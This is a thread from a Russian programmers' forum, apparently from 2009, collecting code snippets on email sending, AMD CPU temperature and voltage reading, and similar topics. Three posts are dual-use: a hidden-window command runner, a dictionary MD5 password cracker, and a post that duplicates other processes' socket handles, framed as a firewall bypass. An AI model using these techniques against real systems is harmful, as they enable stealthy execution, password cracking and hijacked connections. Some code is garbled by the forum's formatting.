2. Используя дериктиву $R добавляем использование ресурса... Пример {$R myres.res}

Извлечение ресурса
Цитата:

uses Classes;
...
procedure ExtractRes;
var Res:TResourceStream;
begin
Res:=TResourceStream.Create(HInstance,'updater_exe',RT_RCDATA);
Res.SaveToFile('FileName.exe');
Res.Free;
end;
Happy End
вот и все...

jawbreaker 06.01.2009 17:50

Отправка e-mail на С#
 
Простое консольное приложение которое позволяет отправить email. Нужно указать свой Smtp-сервер в SmtpMail.SmtpServer, по умолчанию это localhost. Чтобы добавить System.Web.Mail идём в Project->Add Reference на вкладке .Net выбираем System.Web.
Вариант 1:
PHP код:

using System;
using System.Web.Mail;

namespace 
SendMail
{
  
/// <summary>
  /// Test console application to demonstrate sending e-mail.
  /// </summary>
  
class TestMail
  
{
    
/// <summary>
    /// The main entry point for the application.
    /// </summary>
    
[STAThread]
    static 
void Main(string[] args)
    {
      
TestMail.Send("test@mail.ru",
                    
"recip@mail.ru",
                    
"Test Message Using CDOSYS",
                    
"Hello World!  This is a simple message sent
                     using CDOSYS."
);
    }

   
    public static 
void Send(string MessageFrom,
                            
string MessageTo,
                            
string MessageSubject,
                            
string MessageBody)
    {
      
MailMessage message = new MailMessage();
      
message.From        MessageFrom;
      
message.To          MessageTo;
      
message.Subject     MessageSubject;
      
message.BodyFormat  MailFormat.Text;
      
message.Body        MessageBody;

      try
      {
        
System.Console.WriteLine("Sending outgoing message");
        
SmtpMail.Send(message);
      }
      catch( 
System.Web.HttpException exHttp )
      {
        
System.Console.WriteLine("Exception occurred:" +
                                 
exHttp.Message);
      }
    }
  }


Вариант2(отправка через Google):
PHP код:

protected string sendMail(string fromstring tostring ccstring bccstring subjectstring body)
        {
            
//Отсылка через System.Web.Mail
            // Инициализация
            
System.Web.Mail.MailMessage mailMsg = new System.Web.Mail.MailMessage();
            
mailMsg.From from;
            
mailMsg.To to;
            
mailMsg.Cc cc;
            
mailMsg.Bcc bcc;
            
mailMsg.Subject subject;
            
mailMsg.BodyFormat System.Web.Mail.MailFormat.Text;
            
mailMsg.Body body;
            
mailMsg.Priority System.Web.Mail.MailPriority.High;
            
// Smtp configuration
            
System.Web.Mail.SmtpMail.SmtpServer "smtp.gmail.com";//smtp is :smtp.gmail.com
            // - smtp.gmail.com use smtp authentication
            
mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate""1");
            
mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername""myemail@gmail.com");
            
mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword""mypassword");
            
// - smtp.gmail.com use port 465 or 587
            
mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpserverport""465");//port is: 465, 25 default
            // - smtp.gmail.com use STARTTLS (some call this SSL)
            
mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpusessl""true");
            
// Попытка отправки...
            
try
            {
                
System.Web.Mail.SmtpMail.Send(mailMsg);
                return 
"";
            }
            catch (
Exception ex)
            {
                return 
ex.Message;
            }
        } 


0x0c0de 28.01.2009 15:56

Измерение температуры процессора AMD64
 
[Измерение температуры процессора AMD64]

[Преамбула]

Неожиданно при измерении температуры процессора CoreTemp - ом захотелось научиться это делать самостоятельно. Как видно из заголовка я обладатель процессора AMD.
Почему я это решила запостить? Да как-то пока материал искала, наткнулась на несколько тем на форумах, но примера нормального так и не нашла (а вопросы такие периодически возникают). Материал практический, по теории достаточно в манах AMD. Я только кратко обрисую основные теоретически моменты.

[Coding]
Чтобы узнать текущую температуру нам потребуется доступ к так называемому Thermtrip Status Register. Его формат

http://s56.radikal.ru/i151/0901/8e/86af0dcef1eb.jpg

Чтобы прочитать значение Thermtrip Status Register для каждого ядра, нам потребуется доступ к конфигурационному пространству PCI.

Для доступа к устройствам на шине PCI существует 2 порта - 0xCF8 и 0xCFC. Порт 0xCF8 именуется CONFIG_ADDRESS (0xCF8) и в него заносится значение в формате

http://s39.radikal.ru/i083/0901/93/68e27a0f3a22.jpg

Порт 0xCFC или CONFIG_DATA предназначен для чтения/записи данных в конфигурационное пространство. Сначала мы должны выбрать нужное устройство посредством регистра CONFIG_ADDRESS, а потом прочитать данные из CONFIG_DATA (чуть забегая вперед записывать в CONFIG_DATA тоже придется при выборе ядра).

Теперь перейдем непосредственно к кодингу. Для удобства формирования CONFIG_ADDRESS приведу 2 функции (взято из книженции "Программирование Аппаратных средств в Windows", глава 12 "Пространство шины PCI"):

Код:

int GetDeviceSlot(int iDevice,int iFunction){
return ((((iDevice)&0x1f)<<3)|((iFunction)&0x07));
}

ULONG GetDevice(int iBus,int iSlot,int iAddress){
return (0x80000000L |((iBus&0xff)<<16)|(iSlot<<8)|(iAddress&~3));
}

Таким образом, мы вызываем так

Код:


GetDevice(0,GetDeviceSlot(24,3),0xE4);

То есть:
Bus:0
Device:24
Function:3
Offset:0xE4

Почему такие значения? Все это из документации (ссылки на нее в конце).
Ясное дело, что ядра у нас может быть 2. Тогда смотрим еще раз внимательно на формат Thermtrip Status Register и видим бит ThermSenseCoreSel, отвечающий как раз за выбор ядра. Если второй бит от нуля (ThermSenseCoreSel) будет равен 0, то мы проверяем температуру первого ядра, если 1- второго. Итак, полный код функции, которую следует поместить в драйвер

Код:


VOID GetTemperature(VOID){
ULONG therm_=0,core=0,conf_data;
ULONG cdata = GetDevice(0,GetDeviceSlot(24,3),0xE4);
//пишем в Configuration Address Register
_outpd(0xCF8,cdata);
// читаем Configuration Data Register
therm_ = _inpd(0xCFC);
conf_data = therm_;
//с каким ядром имеем дело
core=therm_;
core=(core>>2)&1;

//нам нужны биты 23:14
therm_=(therm_>>14)&(0x3FF);
//вычисляем реальную температуру ядра по формуле
therm_=(therm_/4)-49;
KdPrint(("Temperature Core%d: %d C",core,therm_));

//проверяем другое ядро
conf_data = conf_data^4;
//пишем в Configuration Address Register
_outpd(0xCF8,cdata);
//выбираем другое ядро
_outpd(0xCFC,conf_data);
//пишем в Configuration Address Register
_outpd(0xCF8,cdata);
// читаем Configuration Data Register
therm_ = _inpd(0xCFC);
conf_data = therm_;
//с каким ядром имеем дело
core=therm_;
core=(core>>2)&1;

//нам нужны биты 23:14
therm_=(therm_>>14)&(0x3FF);
//вычисляем реальную температуру ядра по формуле
therm_=(therm_/4)-49;
KdPrint(("Temperature Core%d: %d C",core,therm_));
}

Получилось что-то вроде...

http://s40.radikal.ru/i087/0901/6b/d918409dc547.jpg

*Тестировалось на Amd Athlon 64 x2 Dual Core, ОС WinXPSP3

[Что читать?]

Ну если тема интересна, то могу порекомендовать по AMD

[1] Мануалы от производителя.
http://developer.amd.com/documentation/guides/Pages/default.aspx#developer_guides

[2].Хорошая статья, которая помогла мне связать все воедино

Реализация низкоуровневой поддержки шины PCI в ядре Linux
http://www.opennet.ru/base/dev/pci_linux_kernel.txt.html
конкретно по сабжу будет полезен раздел "Конфигурационное пространство устройства PCI", там как раз про Configuration Mechanism, CONFIG_ADDRESS, CONFIG_DATA. Как прочтете это - сразу все в голове уложится.


PS В общем-то посредством пм со мной можно связаться и какой-то момент уточнить.
PSS Сессия, мать ее, моя первая сессия. Чувствую себя ботом, сконфигурированным на заучивание конспектов.... (

0x0c0de 07.02.2009 18:50

[Voltage ID]
 
[Voltage ID]

В жж своем писала уже это сегодня, но т.к. не все читают чужие жж как логическое продолжение отпишу и тут. Я так подумала, что буду потихоньку приводить в нормальный вид свой кодес с измерением температуры и делать что-то более-менее приличное, конечно, в образовательных целях. В планах привести сорс в нормальный удобочитаемый вид и выложить для всеобщего пользования.

Ясное дело, что чисто температуру мерить довольно скушно, вот я и подумала по ходу дела прикрутить измерение текущего напряжения питания процессора, к тому же, что делается это довольно-таки просто. Для того, чтобы узнать текущий Voltage ID (а затем переверсти его в значение напряжения) нам потребуется доступ к так называемому FIDVID_STATUS register, машинно-зависимому регистру с адресом 0xС0010042.

http://pics.livejournal.com/0x0c0de/pic/00004e4c

Его формат. Нас интересует 6-битовое поле CurrVID во втором двойном слове. Таблица соответсвия этих 6-битов и значения напряжения приведена ниже.

http://pics.livejournal.com/0x0c0de/pic/0000532e

Сначала проверяем с помощью функции 8000_0007 CPUID доступность этой [VID] опции (функции CPUID можно глянуть в CPUID Specification от AMD, ссылки на скачку я давала в предыдущем посте амдэшных мануалов).

Код:


 _asm{
//проверяем доступность опции
// Advanced Power Management Information
mov eax,80000007h
cpuid
// 2 бит в edx - VID: Voltage Id control
bts edx,2
// cf == 1?
jnb ext
mov isVID,TRUE
ext:
  }

Я думаю, что есть народ тут, который с асмом не дружит. Ну так вот, поясняю насчет многострадальной инструкции bts. Инструкции bts/btr полюбились мне еще в 2007 году, тогда кажись я постила 23 способа получения единицы в регистре (тема вроде такая была) и меня интересовали разные извратные способы, тогда-то я и познакомилась с этой инструкцией. Первый ее операнд - это источник, в котором мы проверяем бит с номером, хранящимся во втором операнде. То есть проверяем второй бит от нуля в edx. флаг CF устанавливается значением этого бита. Сам бит потом устанавливается в 1, но нам это уже не важно. jсс, проверяющие флаг CF - это jb и jnb. второй происходит, если этот бит 0. вот такие дела. Теперь, думаю, все ясно и непосвященному.
В драйвере, после проверок пишем


Код:

// получаем напряжение
if(isVID){
_asm{
mov ecx,0c0010042h
rdmsr
and edx,111111b
mov uVID,edx
}
buf[2] = uVID;
KdPrint(("VID %X",uVID));
}else buf[2]=0xFFFFFFFF;


Из таблицы соответствия была выведена формула для напряжения
opart - часть до запятой, tpart - после запятой.


Код:

DWORD opart,tpart;

if(tmp[2]<0x20){
 tmp[2]=1550-tmp[2]*25;
 opart = tmp[2]/1000;
 tpart = tmp[2]-1000;
 }else{
 tmp[2]=7750 - (tmp[2]-0x1F)*25;
  opart = 0;
 tpart = tmp[2];
 }
  wsprintf(core,L"%d.%dv",opart,tpart);


Как-то так.
---
Если есть ошибки - неточности в моих рассуждениях буду рада указанию на них, т.к. в общем-то тестирования достаточного не было и какой-то момент могла упустить. Кароче, велкам в jabber и пм, если что.

---------
Ах да, речь, идет, конечно об амд, насчет как это у интелов я хз, пока в их манах не смотрела этого

0x0c0de 22.02.2009 01:00

Нихеранепонятный код обновлен, теперь по крайней мере читабельно. Исправила баг с загрузкой драйвера [установка привилегий, в SP2 и SP3 моих работало нормально, но на win7 там не загружался]. И еще я действительно в первый раз не усмотрела нумерацию ядер в мануале и поэтому были разночтения коретемпом. Теперь номер измеряемого ядра показывается верно.

сорцы, бинари теперь тут

http://code.google.com/p/amd-cpu-info/

Тот код, который выше в постах уже не исправляю, так как нет времени и желания. Пускай будет. За нормальными сорцами на код гугл. Замечания желательно слать в jabber, так как там я бываю чаще, чем на форуме.

W!z@rD 27.02.2009 11:56

MSDN с человеческим лицом, или "low-bandwidth view"
 
Подумал что данный раздел более всего подходит.
Оригинал (англ)
Оригинальный копи-паст (рус)

Jon Galloway пишет о сверхсекретной разработке Microsoft: MSDN с человеческим лицом, или "low-bandwidth view".
С помощью фильтра loband, добавляемого в url статьи MSDN, её можно загрузить в 10-15 раз быстрее, без мишуры на пол-экрана:

System.String.aspx , 317Кб
http://1.bp.blogspot.com/_tHmayhtdSt...640/string.png

System.String(loband).aspx , 14Кб
http://1.bp.blogspot.com/_tHmayhtdSt.../string-lb.png
Low-band представление можно сохранить с помощью cookie (ссылка Persist/switch off low bandwidth view вверху страницы). Или включать по желанию - для этого есть bookmarklet, который с помощью javascript этот cookie устанавливает/сбрасывает.

Выглядит он так:
javascript:
if(document.cookie.indexOf('LoBandEnabled=yes')<0) {
document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';
}
else{
document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';
}
window.location.reload();

Установить в браузер его можно так:
Для Firefox/Opera перетащите эту ссылку -
PHP код:

[URL=javascript:if(document.cookie.indexOf('LoBandEnabled=yes')<0){document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}else{document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}window.location.reload();]MSDN Low Band[/URL

на панель ссылок.

Для Internet Explorer - в контекстном меню ссылки
PHP код:

[URL=javascript:if(document.cookie.indexOf('LoBandEnabled=yes')<0){document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}else{document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}window.location.reload();]MSDN Low Band[/URL

выберите "Add to favorites", и добавьте её в папку со Links.

jawbreaker 28.02.2009 20:44

Создаём скрытое консольное приложение
 
Эта мини-статья о том, как создать консольное приложение в Visual C++ так, чтобы оно не появлялось на экране.

Основной трюк здесь в структуре STARTUPINFO. Она содержит много параметров, из них нам нужны
PHP код:

DWORD cb
DWORD dwFlags
DWORD wShowWindow 

Сначала нужно объявить структуру и выделить для неё память:
PHP код:

STARTUPINFO StartupInfo;
memset(&StartupInfo0sizeof(StartupInfo));
ZeroMemory(&StartupInfosizeof(StartupInfo)); 

Теперь заполним структуру так, чтобы не показывать окно:
PHP код:

// Задаём размер структуры
  
StartupInfo.cb sizeof(STARTUPINFO);
  
  
// Установка параметров окна
  
StartupInfo.dwFlags STARTF_USESHOWWINDOW;

  
// HIDE - прячем окно
  
StartupInfo.wShowWindow SW_HIDE

Функция, которая принимает название программы для запуска из консоли и её аргументы:
PHP код:

DWORD RunSilent(charstrFunctcharstrstrParams)
{
    
STARTUPINFO StartupInfo;
    
PROCESS_INFORMATION ProcessInfo;
    
char Args[4096];
    
char *pEnvCMD NULL;
    
char *pDefaultCMD "CMD.EXE";
    
ULONG rc;
    
    
memset(&StartupInfo0sizeof(StartupInfo));
    
StartupInfo.cb sizeof(STARTUPINFO);
    
StartupInfo.dwFlags STARTF_USESHOWWINDOW;
    
StartupInfo.wShowWindow SW_HIDE;

    
Args[0] = 0;

    
pEnvCMD getenv("COMSPEC");

    if(
pEnvCMD){
        
        
strcpy(ArgspEnvCMD);
    }
    else{
        
strcpy(ArgspDefaultCMD);
    }

    
strcat(Args" /c "); 

    
strcat(ArgsstrFunct);  
    
strcat(Args" "); 
    
    
strcat(ArgsstrstrParams); 

    if (!
CreateProcessNULLArgsNULLNULLFALSE,
        
CREATE_NEW_CONSOLE
        
NULL
        
NULL,
        &
StartupInfo,
        &
ProcessInfo))
    {
        return 
GetLastError();        
    }

    
WaitForSingleObject(ProcessInfo.hProcessINFINITE);
    if(!
GetExitCodeProcess(ProcessInfo.hProcess, &rc))
        
rc 0;

    
CloseHandle(ProcessInfo.hThread);
    
CloseHandle(ProcessInfo.hProcess);

    return 
rc;
    


Пример:
PHP код:

int main()
{
    
DWORD a RunSilent("ipconfig"" > out.txt");
    return 
0;


создаст файл out.txt при этом ничего не выводя на экран.

c0n Difesa 06.03.2009 22:39

Перебор пароля по словарю. MD5-хеш (C#)
 
Введение. Описание программы.

Информация в данном материале может оказаться полезной для тех, кто планирует использовать авторизацию в своем ПО, работать с хешами алгоритма шифрования MD5, а так же для тех, кому просто интересен принцип работы переборщиков паролей по словарю (брутфорсеров). Автор акцентирует внимание читателя на том, что программа работает исключительно с базами словарей (в коде осуществляется работа с txt-файлами, но это не столь принципиально), а не генерирует диапазоны символов для перебора.


Основная часть. Составление и кодирование алгоритма.

Условие задачи довольно простое: имея на руках MD5-хеш, подобрать коллизию (проще говоря, найти комбинацию символов, соответствующую этому хешу, то бишь пароль). Принцип и алгоритм работы приведен ниже.

1. Открыть файл с хешем (input.txt) и открыть файл с паролями (pass.txt).

2. Перевести все символы хеша в верхний регистр. Данная операция позволит корректно сравнивать его с генерируемыми нами хешами (при генерации все символы в хеше в верхнем регистре).

3. Прочитать i-ю строчку файла, где i принадлежит отрезку [0; EndOfFile] (это не столь важно, т.к. строка из файла будет считываться до тех пор, пока не окажется пустой).

4. Сгенерировать хеш прочитанной строчки.

5. Сравнить с целевым хешем. Если равны – вывести строку, соответствующую сгенерированному хешу. Если не равны – продолжить шаги 3-5.

6. Если достигнут конец файла, то уведомить пользователя о том, что пароль не найден.

Если по какой-либо причине непонятны те или иные шаги, то, возможно, все вопросы отпадут после анализа кода (и соответствующих ему комментариев) получившейся программы.

Код:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.IO;

namespace MD5Brute
{
    class Programm
    {
        static void Main(string[] args)
        {
            //убедиться, что в командной строке указано имя файла
            if ((args[0].Length == 0) || (args[1].Length == 0))
            {
                Console.WriteLine("Error: Missing Input file or Pass file");
                Console.ReadKey();
            }
            else
            {
                //открыть файл с хешем
                StreamReader reader = new StreamReader(args[0]);
                string EnemyHash = reader.ReadLine(); //прочитать хэш
                reader.Close();
                EnemyHash = EnemyHash.ToUpper(); //перевести все символы в верхний регистр
                //открыть файл с паролями
                reader = new StreamReader(args[1]);
                //перебрать каждую строку
                for (string line = reader.ReadLine(); line != null; line = reader.ReadLine())
                {
                    string CurrentHash = string.Empty;
                    //сгенерировать MD5-хеш
                    foreach (byte b in new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(line)))
                    {
                        CurrentHash += b.ToString("X2");
                    }
                    //сравнить хеши
                    if (CurrentHash == EnemyHash)
                    {
                        Console.WriteLine("Password: "+line);
                        Console.ReadKey();
                        return;
                    }
                }
                Console.ReadKey();
                Console.WriteLine("No Password");
                return;
            }
        }
    }
}

Формат запуска программы: md5brute.exe <%DIRECTORY%/input.txt> <%DIRECTORY%/pass.txt>


Заключение.

Конечно до полноценного брутфорсера этой программе далеко, но данные исходные коды вполне могут лечь в основу системы авторизации, продвинутого переборщика паролей, системы распределенных вычислений и чего-либо другого. По крайней мере, читатель теперь сумеет сгенерировать MD5-хеш.

Gar|k 31.05.2009 18:15

Операция “перехват”. Используем открытый сокет другого процесса.
 
Меня всегда интересовало, а можно ли похитить сокет другой программы и использовать его в своих целях? Еще как можно!

Обход фаервола, установка скрытых соединений, чтение конфиденциальных данных – это лишь немногое, что можно сделать, обладая сокетом.

Метод перехвата прост и широко обсуждаем в интернете. Нам не потребуется глубоких знаний Windows, потому что все осуществимо из User Mode (ring 3), но для понимания основы знать просто необходимо. RTFM Джеффри Рихтер “Windows для профессионалов: создание эффективных Win32-приложений с учетом специфики 64-разрядной версии Windows”, глава 3

Метод заключатся в следующем
  1. Получить список описателей (хэндлов - handle) открытых нужным процессом
  2. Найти среди них сокеты
  3. Скопировать их в свой процесс
В листинге, представленном ниже, я использовал функцию ZwQuerySystemInformation (Native API)
Код:

NTSTATUS ZwQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength);

для получения списка открытых описателей, передав ей в качестве первого аргумента SystemHandleInformation

Для получения типа описателя функцию NtQueryObject
Код:

NTSTATUS NtQueryObject(
  HANDLE              ObjectHandle,
  OBJECT_INFORMATION_CLASS ObjectInformationClass,
  PVOID              ObjectInformation,
  ULONG                Length,
  PULONG              ResultLength );

c параметром ObjectTypeInformation (нам нужны только ‘File’) и с параметром ObjectNameInformation для получения имени описателя (нам нужны сокеты ‘\Device\Afd’). Эти функции находятся в библиотеке ntdll.dll
Копировать описатель – сокет в наш процесс мы будем функцией DuplicateHandle

Листинг кода (VS2008 Win32->Console Project), демонстрирующий описанный выше метод для вывода всех открытых сокетов в системе.

Код:

#include "stdafx.h"

#include <windows.h>

#include <winternl.h> // нужный заголовочек с полезными структурами
#include <Ntstatus.h> // структура NTSTATUS

// подключаем сокеты для использования функций преобразования IP адреса и порта
#include <Winsock.h>
#pragma comment(lib, "ws2_32.lib")

#define BUF_SIZE 102400 // размер буффера под таблицу информации и имени описателя

// http://msdn.microsoft.com/en-us/library/aa492492.aspx эх, у меня нет DDK
typedef enum _POOL_TYPE
{
        NonPagedPool = 0,
        PagedPool = 1,
        NonPagedPoolMustSucceed = 2,
        DontUseThisType = 3,
        NonPagedPoolCacheAligned = 4,
        PagedPoolCacheAligned = 5,
        NonPagedPoolCacheAlignedMustS = 6,
        MaxPoolType = 7,
        NonPagedPoolSession = 32,
        PagedPoolSession = 33,
        NonPagedPoolMustSucceedSession = 34,
        DontUseThisTypeSession = 35,
        NonPagedPoolCacheAlignedSession = 36,
        PagedPoolCacheAlignedSession = 37,
        NonPagedPoolCacheAlignedMustSSession = 38
} POOL_TYPE;

// структура необходимая для получения имени описателя - NtQueryObject(ObjectNameInformation)
typedef struct _OBJECT_NAME_INFORMATION {
                UNICODE_STRING          Name;
                WCHAR                  NameBuffer[0];
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

// структура необходимая для получения типа описателя - NtQueryObject(ObjectTypeInformation)
typedef struct _OBJECT_TYPE_INFORMATION {
  UNICODE_STRING          TypeName;
  ULONG                  TotalNumberOfHandles;
  ULONG                  TotalNumberOfObjects;
  WCHAR                  Unused1[8];
  ULONG                  HighWaterNumberOfHandles;
  ULONG                  HighWaterNumberOfObjects;
  WCHAR                  Unused2[8];
  ACCESS_MASK            InvalidAttributes;
  GENERIC_MAPPING        GenericMapping;
  ACCESS_MASK            ValidAttributes;
  BOOLEAN                SecurityRequired;
  BOOLEAN                MaintainHandleCount;
  USHORT                  MaintainTypeList;
  POOL_TYPE              PoolType;
  ULONG                  DefaultPagedPoolCharge;
  ULONG                  DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

//используется в NtQueryObject
typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectBasicInformation,
    ObjectNameInformation,
    ObjectTypeInformation,
    ObjectAllInformation,
    ObjectDataInformation
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;

//функции мы будем подключать динамически, поэтому их необохдимо описать :)

// ZwQuerySystemInformation
typedef NTSTATUS (CALLBACK *LPFNZwQuerySystemInformation)(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
);
LPFNZwQuerySystemInformation ZwQuerySystemInformation;

// NtQueryObject
typedef NTSTATUS (CALLBACK *LPFNNtQueryObject)(
  HANDLE              ObjectHandle,
  OBJECT_INFORMATION_CLASS ObjectInformationClass,
  PVOID              ObjectInformation,
  ULONG                Length,
  PULONG              ResultLength );
LPFNNtQueryObject NtQueryObject;

#define SystemHandleInformation 16 //недокументированый enum SYSTEM_INFORMATION_CLASS
// структура используемая в ZwQuerySystemInformation
typedef struct _SYSTEM_HANDLE_INFORMATION {
  USHORT ProcessId;
  USHORT CreatorBackTraceIndex;
  UCHAR ObjectTypeNumber;
  UCHAR Flags;
  USHORT Handle;
  PVOID Object;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

// Расширенная структура для получения информации о всех описателях
typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
  ULONG NumberOfHandles;
  SYSTEM_HANDLE_INFORMATION Information[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;


int _tmain(int argc, _TCHAR* argv[]) {
DWORD ret;
NTSTATUS  ss;
PUNICODE_STRING us;
POBJECT_TYPE_INFORMATION ot;
int i,ress,rem_port,loc_port;
char *remaddr,*locaddr;
sockaddr_in sockname, locname;
WSAData  WSData;

HANDLE    hProcess,ObjHandle, hh;
HINSTANCE hNTdll = LoadLibrary(L"Ntdll.dll");

if(!hNTdll) return 1;

//ищем функции
ZwQuerySystemInformation = (LPFNZwQuerySystemInformation)
GetProcAddress(hNTdll, "ZwQuerySystemInformation");

NtQueryObject=(LPFNNtQueryObject)
GetProcAddress(hNTdll, "NtQueryObject");

WSAStartup(MAKEWORD(2,2), &WSData); // стартуем winsock 2.2

printf("There are the following sockets opened on system:\n");

 // Получение числа описателей в системе
  DWORD buffer_size = 0;
  SYSTEM_HANDLE_INFORMATION_EX temp_info;

ss = ZwQuerySystemInformation(
      (SYSTEM_INFORMATION_CLASS)SystemHandleInformation, &temp_info,
      sizeof(temp_info), &buffer_size);

// выделяем память под информацию о описателях и
SYSTEM_HANDLE_INFORMATION_EX *system_handles =(SYSTEM_HANDLE_INFORMATION_EX*)malloc(buffer_size); // если C++ можно и (new BYTE[buffer_size])

ss = ZwQuerySystemInformation(
      (SYSTEM_INFORMATION_CLASS)SystemHandleInformation,system_handles,
      buffer_size, &buffer_size);

// выделяем память под сруктурки
ot=(POBJECT_TYPE_INFORMATION)malloc(BUF_SIZE);
us=(PUNICODE_STRING)malloc(BUF_SIZE);

// информацию о всех описателях мы получили теперь пробежимся по ним...
for(i=0;i<system_handles->NumberOfHandles;i++) {

/*
Тут можно вставить проверку на описатели определенного процесса,
PID которого можно получить кучей разных способов (см. ссылки в конце статьи)
*/

        hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, system_handles->Information[i].ProcessId); // открываем процесс с нужными правами доступа
        if (hProcess != INVALID_HANDLE_VALUE)
                {
                hh=(HANDLE)system_handles->Information[i].Handle; // у меня были проблемы с преобразованиями - для этого и завел новую переменную
               
                // теперь копируем описатель в адресное пространство своего процесса
                if(DuplicateHandle(hProcess,hh,INVALID_HANDLE_VALUE, &ObjHandle, DUPLICATE_SAME_ACCESS, 0, 0)) {
                        // вытаскиваем информацию о типе описателя
                        ss = NtQueryObject(ObjHandle,ObjectTypeInformation, ot, BUF_SIZE, &ret);
                        if (ss == STATUS_SUCCESS) {
                                //кстати таким образом можно перехватывать любые обьекты ядра заданые в таблице описателей процесса,
                                if(lstrcmp(ot->TypeName.Buffer,L"File")==0){ // но нам нужен только File
                                        // вытаскиваем информацию о имени описателя
                                        ss=NtQueryObject(ObjHandle,ObjectNameInformation, us, BUF_SIZE, &ret);
                                        if(ss==STATUS_SUCCESS){
                                                if(lstrcmp(us->Buffer,L"\\Device\\Afd")==0){ // если это сокет
                                                       
/*
=================================================================================
Вот впринципе и все! мы нашли сокет и он уже находится во власти нашего процесса
теперь мы можем делать с ним все, что захотим! ;)
а я хочу вывысти информацию о нем и о том кому он пренадлежит.
=================================================================================
*/

                                                        ress = sizeof(sockaddr_in);//--- commenting this line would cause an 10014 error.
                                                        getpeername((SOCKET)ObjHandle, (sockaddr *)&sockname, &ress);

                                                        //--- определяем локальный IP и порт
                                                        ress = sizeof(sockaddr_in);//--- commenting this line would cause an 10014 error.
                                                        getsockname((SOCKET)ObjHandle, (sockaddr *)&locname, &ress);
                               

                                                        //--- коевертируем в понятные для глаза данные )
                                                        remaddr = inet_ntoa(sockname.sin_addr);
                                                        rem_port = ntohs(sockname.sin_port);

                                                        locaddr = inet_ntoa(locname.sin_addr);
                                                        loc_port = ntohs(locname.sin_port);

                                                        // выводим информацию
                                                        wprintf(L"PID=%d; Local=%S:%d; Peer=%S:%d;\n",system_handles->Information[i].ProcessId,locaddr,loc_port,remaddr,rem_port);
                                                        }
                                                } // --- name handle
                                        }
                                } // --- type handle


                        } // -- duplicate handle
                        CloseHandle(hProcess);
                }
        } // --- for

// освобождаем память
free(ot);
free(us);
free(system_handles);


WSACleanup(); // отключаемс сокеты
FreeLibrary(hNTdll); // и выгружаем DLL

getchar(); // а это так для паузы )
return 0;
}

Полезные ссылки
Множество примеров использования Tool Help и ZwQuerySystemInformation
Недокументированные функции Windows NT/2K/XP/2003

--StraNger-- 21.06.2009 11:43

Системный вызов stat
 
Системный вызов stat
Программирование для linux.
Если в консоли выполнить команду ls-l, то мы увидим кроме всего прочего, информацию о файлах, такую как: права доступа, uid. gid, размер и т.п.
Для получения этой информации программно, нужно использовать вызов stat.
Код:

stat(char *file,struct stat fbuf);
Первый аргумент это имя/путь файла. Второй - это структура stat.
В ней собственно и будет располагаться вся информация.
Некоторые поля структуры:
Код:

st_mode - тип, права доступа.
st_atime - время последнего доступа.
st_size - размер.
st_uid - юид юзера.
st_gid - идентификатор группы пользователей

При ошибке возвращает -1
Теперь давайте напишем пример - программа должна выводить размер указаного файла.
Код:

------------------------------------------------------
#include <stdio.h>
#include <sys/stat.h>// необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
printf("Пожалуйста введите необходимые аргументы\n");
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
printf("Размер файла: %d\n",buffer.st_size); //вывод
else
printf("Не корректное имя файла\n"); // если ошибка
}


---------------------------------------------------------------------------


W!z@rD 30.06.2009 20:17

Определение ТИЦ
 
PHP код:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;

public class 
Test
{
    public static 
WebResponse GetResponse(string urlbool redirect)
        {
            var 
request = (HttpWebRequest)WebRequest.Create(url);
            try
            {
                
request.Method "GET";
                
request.AllowAutoRedirect redirect;
                return 
request.GetResponse();
            }
            catch
            {
                return 
null;
            }
        }

        public static 
string GetPageSrc(string url)
        {
            var 
response GetResponse(urltrue);
            if (
response == null)
            {
                return 
"";
            }
            
using (var reader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(1251)))
            {
                return 
reader.ReadToEnd();
            }
        }

    private static 
int getCI(string url)
    {
        var 
pageScr GetPageSrc(string.Format("http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://www.{0}/"url));
        var 
reg = new Regex("value=\"(.\\d*)\""RegexOptions.IgnoreCase);
        return 
reg.IsMatch(pageScr) ? int.Parse(reg.Match(pageScr).Groups[1].Value) : 0;
    }


    public static 
void Main()
    {
        
Console.WriteLine(getCI("gw.kz"));
        
